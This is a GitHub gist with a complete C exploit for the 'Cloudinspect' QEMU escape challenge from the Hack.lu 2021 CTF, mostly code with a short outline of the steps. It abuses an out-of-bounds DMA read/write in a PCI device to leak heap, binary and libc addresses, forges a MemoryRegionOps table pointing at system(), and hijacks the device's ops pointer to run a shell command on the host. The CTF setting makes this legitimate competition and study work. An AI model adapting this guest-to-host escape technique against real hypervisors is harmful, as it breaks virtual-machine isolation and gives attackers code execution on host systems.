Skip to content

Instantly share code, notes, and snippets.

@joshdabosh
Last active November 20, 2023 22:00
Show Gist options
  • Save joshdabosh/8206b169d857a7a388818c10f820c29a to your computer and use it in GitHub Desktop.
Save joshdabosh/8206b169d857a7a388818c10f820c29a to your computer and use it in GitHub Desktop.
Cloudinspect (Hack.lu 2021) escape
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <stdarg.h>
#define CLOUDINSPECT_MMIO_OFFSET_CMD 0x78
#define CLOUDINSPECT_MMIO_OFFSET_SRC 0x80
#define CLOUDINSPECT_MMIO_OFFSET_DST 0x88
#define CLOUDINSPECT_MMIO_OFFSET_CNT 0x90
#define CLOUDINSPECT_MMIO_OFFSET_TRIGGER 0x98
#define CLOUDINSPECT_DMA_GET_VALUE 0x1
#define CLOUDINSPECT_DMA_PUT_VALUE 0x2
/*
QEMU Escape given an out-of-bounds read/write in PCI device.
1. Leak heap address from opaque pointer to gain arbitrary write
2. Leak binary base address from heap
3. Leak libc address from QEMU GOT section
4. Write a fake MemoryRegionOps structure containing pointers to system() on the heap
5. Redirect PCI device *ops to faked structure
6. Trigger MMIO operation
*/
/*
struct MemoryRegion {
Object parent_obj;
bool romd_mode;
bool ram;
bool subpage;
bool readonly;
bool nonvolatile;
bool rom_device;
bool flush_coalesced_mmio;
bool unmergeable;
uint8_t dirty_log_mask;
bool is_iommu;
RAMBlock *ram_block;
Object *owner;
DeviceState *dev;
const MemoryRegionOps *ops;
void *opaque;
MemoryRegion *container;
int mapped_via_alias;
Int128 size;
hwaddr addr;
void (*destructor)(MemoryRegion *mr);
uint64_t align;
bool terminates;
bool ram_device;
bool enabled;
bool warning_printed;
uint8_t vga_logging_count;
MemoryRegion *alias;
hwaddr alias_offset;
int32_t priority;
QTAILQ_HEAD(, MemoryRegion) subregions;
QTAILQ_ENTRY(MemoryRegion) subregions_link;
QTAILQ_HEAD(, CoalescedMemoryRange) coalesced;
const char *name;
unsigned ioeventfd_nb;
MemoryRegionIoeventfd *ioeventfds;
RamDiscardManager *rdm;
bool disable_reentrancy_guard;
}
struct MemoryRegionOps {
uint64_t (*read)(void *opaque,
hwaddr addr,
unsigned size);
void (*write)(void *opaque,
hwaddr addr,
uint64_t data,
unsigned size);
MemTxResult (*read_with_attrs)(void *opaque,
hwaddr addr,
uint64_t *data,
unsigned size,
MemTxAttrs attrs);
MemTxResult (*write_with_attrs)(void *opaque,
hwaddr addr,
uint64_t data,
unsigned size,
MemTxAttrs attrs);
enum device_endian endianness;
struct {
unsigned min_access_size;
unsigned max_access_size;
bool unaligned;
bool (*accepts)(void *opaque, hwaddr addr,
unsigned size, bool is_write,
MemTxAttrs attrs);
} valid;
struct {
unsigned min_access_size;
unsigned max_access_size;
bool unaligned;
} impl;
};
*/
unsigned char* iomem;
unsigned char* dma;
uint64_t dma_phys;
long opaque_leak;
uint64_t virt2phys(void* p)
{
uint64_t virt = (uint64_t)p;
// Assert page alignment
assert((virt & 0xfff) == 0);
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd == -1){
perror("open");
exit(1);
}
uint64_t offset = (virt / 0x1000) * 8;
lseek(fd, offset, SEEK_SET);
uint64_t phys;
if (read(fd, &phys, 8 ) != 8){
perror("read");
exit(1);
}
// Assert page present
assert(phys & (1ULL << 63));
phys = (phys & ((1ULL << 54) - 1)) * 0x1000;
return phys;
}
void iowrite(uint64_t addr, uint64_t value) {
*((uint64_t*)(iomem + addr)) = value;
}
uint64_t ioread(uint64_t addr) {
return *((uint64_t*)(iomem + addr));
}
void set_mmio_cmd(uint64_t val) {
*(uint64_t *)(iomem + CLOUDINSPECT_MMIO_OFFSET_CMD) = val;
}
void set_mmio_dst(uint64_t val) {
*(uint64_t *)(iomem + CLOUDINSPECT_MMIO_OFFSET_DST) = val;
}
void set_mmio_src(uint64_t val) {
*(uint64_t *)(iomem + CLOUDINSPECT_MMIO_OFFSET_SRC) = val;
}
void set_mmio_cnt(uint64_t val) {
*(uint64_t *)(iomem + CLOUDINSPECT_MMIO_OFFSET_CNT) = val;
}
void mmio_trigger_read() {
uint64_t ret = *(uint64_t *)(iomem + CLOUDINSPECT_MMIO_OFFSET_TRIGGER);
if (!ret) {
perror("trigger_read");
}
}
void mmio_trigger_write() {
*(uint64_t *)(iomem + CLOUDINSPECT_MMIO_OFFSET_TRIGGER) = 0;
}
uint64_t oob_read64(uint64_t offset) {
set_mmio_cmd(CLOUDINSPECT_DMA_GET_VALUE);
set_mmio_cnt(8);
set_mmio_dst(dma_phys);
set_mmio_src(offset);
mmio_trigger_read();
return *(uint64_t *)dma;
}
void oob_write64(uint64_t offset, uint64_t value) {
*(uint64_t *)dma = value;
set_mmio_cmd(CLOUDINSPECT_DMA_PUT_VALUE);
set_mmio_cnt(8);
set_mmio_dst(offset);
set_mmio_src(dma_phys);
mmio_trigger_write();
return;
}
uint64_t arb_read64(uint64_t addr) {
return oob_read64(addr - (opaque_leak + 0xa08));
}
void arb_write64(uint64_t addr, uint64_t value) {
oob_write64(addr - (opaque_leak + 0xa08), value);
}
uint64_t binary_base;
uint64_t libc_base;
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
int resource_fd = open("/sys/devices/pci0000:00/0000:00:02.0/resource0", O_RDWR | O_SYNC);
if (resource_fd == -1){
perror("opening resource file");
exit(1);
}
iomem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, resource_fd, 0);
if ((int64_t) iomem == -1) {
perror("mapping shared memory");
exit(1);
}
printf("iomem %p\n", iomem);
printf("magic %p\n", *(uint64_t *)iomem);
dma = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
*(uint64_t *)dma = 0;
printf("dma %p\n", dma);
dma_phys = virt2phys(dma);
printf("old dma value %p\n", *(uint64_t *)dma);
printf("dma_phys %p\n", dma_phys);
opaque_leak = oob_read64(-8*25);
printf("leaked opaque = %p\n", opaque_leak);
printf("predicting buf to be at %p\n", opaque_leak + 0xa08);
// oob_write64(1, 1);
// for (int i = 0; i < 2048; i += 8) {
// printf("+%p - %p\n", i, oob_read64(4096 + i));
// }
// not actually binary base since offset was calculated
// using some sketchy debugging
binary_base = oob_read64(4096 + 6*8) - 0x627620;
libc_base = arb_read64(binary_base + 0xb3ee08) - 0x113440;
printf("binary base: %p\n", binary_base);
printf("libc base: %p\n", libc_base);
uint64_t ops_leak = oob_read64(-8*26);
// memoryregionops at -8*26
// need to craft a fake MemoryRegionOps structure on the heap
// since the current pointer is in r-- memory
// set buf+0x10 to be the start of faked structure
oob_write64(0x10, libc_base + 0x4f760);
oob_write64(0x18, libc_base + 0x4f760);
// write in shell command
oob_write64(0x30, 0x67616c6620746163);
// change *opaque
*(uint64_t *)dma = opaque_leak + 0xa08 + 0x10;
// change *ops
*(uint64_t *)(dma + 8) = opaque_leak + 0xa08 + 0x30;
set_mmio_cmd(CLOUDINSPECT_DMA_PUT_VALUE);
set_mmio_cnt(16);
set_mmio_dst(-8*26);
set_mmio_src(dma_phys);
mmio_trigger_write();
// trigger system
oob_read64(0);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment